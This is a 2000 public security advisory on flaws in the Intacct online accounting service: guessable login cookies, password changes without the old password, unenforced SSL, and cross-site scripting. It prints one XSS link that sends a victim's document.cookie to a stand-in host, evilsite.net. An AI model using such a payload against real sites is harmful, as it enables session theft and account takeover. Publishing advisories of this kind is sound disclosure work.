Security Advisory: Multiple Exploitable Vulnerabilities at Intacct.com



*Date



26 August 2000



*Copyright statement



This security advisory is Copyright 2000 by Jeffrey William Baker

(jwbaker@acm.org).  The advisory may be distributed in whole or in part

without modification.



*Background



These vulnerabilities were discovered while I was investigating the

security of online accounting firms such as Intacct [1].  I have found

many systematic, exploitable vulnerabilities at Intacct.  I have not

received any response to emails I have sent to Intacct.  The security

problems with the Intacct service are so great, and Intacct has been so

lax in responding to them, that I am compelled to offer this security

advisory as a service to Intacct customers.



*Synopsis



Intacct is an online accounting service.  Their website allows a user to

perform business accounting functions.  Intacct makes very bold claims

regarding their security.  In their security marketing materials [2], they

claim to have "world-class security you expect from a top-tier financial

services provider."



The Intacct marketing department apparently forgot to synchronize with the

engineering department, because the Intacct service, which is currently in

production with paying customers, allows an attacker to:



1) Log in as the victim in perpetuity

2) View and modify victims' accounts, budgets, etc.

3) Change victims' passwords

4) Deny service to victims by modifying Intacct billing information



No action is required on the part of the victim for these attacks to

succeed.



*Details



Intacct suffers from three problems: they are vulnerable to the attack

defined in CERT CA-2000-02 [3], they do not use encryption everywhere, and

their login and session management systems are the worst I have ever seen.



The other vulnerabilities are hardly even relevant, because it is trivial

to compute the login cookie for any Intacct user.  When an Intacct user

logs in, they are sent two cookies with the names ".sign" and ".userid".

These cookies always have the same value for a given user.  It is possible

to guess the cookie for any Intacct user because the .userid cookie is

issued sequentially, and the .sign cookie is always one of three values

[4].  The attacker will require a maximum of three attempts before gaining

access to any Intacct account.



Once the attacker has gained access, the situation is aggravated by the

ability to change a victim's password without knowing the current

password.  Standard security procedure dictates that you should always ask

for the existing password before allowing the password to be changed.



Another vulnerability is due to the fact that Intacct accepts traffic to

their application over clear channels.  They do not enforce the use of

SSL.  A user can replace https with http in any Intacct URL and still use

the system normally.  Intacct should require their customers to always use

SSL, lest they be tricked into sending their password in the clear.



The cross-site scripting vulnerability is very simple.  Any logged-on

Intacct user can be made to reveal their login cookie, simply by visiting

a link like this:



https://www.intacct.com/ia/edit_budget.phtml?.done=budgets.phtml&.account_fld=" target="_new">http://www.evilsite.net/%3F%27%2Bescape(document.cookie))



The site "www.evilsite.net" will then have possession of their login

cookie.



*Conclusion



Do not use Intacct's services.



*Footnotes



1: http://www.intacct.com

2: http://www.intacct.com/services/security/

3: http://www.cert.org/advisories/CA-2000-02.html

4: I will not reveal them, but the three values will be immediately

obvious to anyone who investigates Intacct.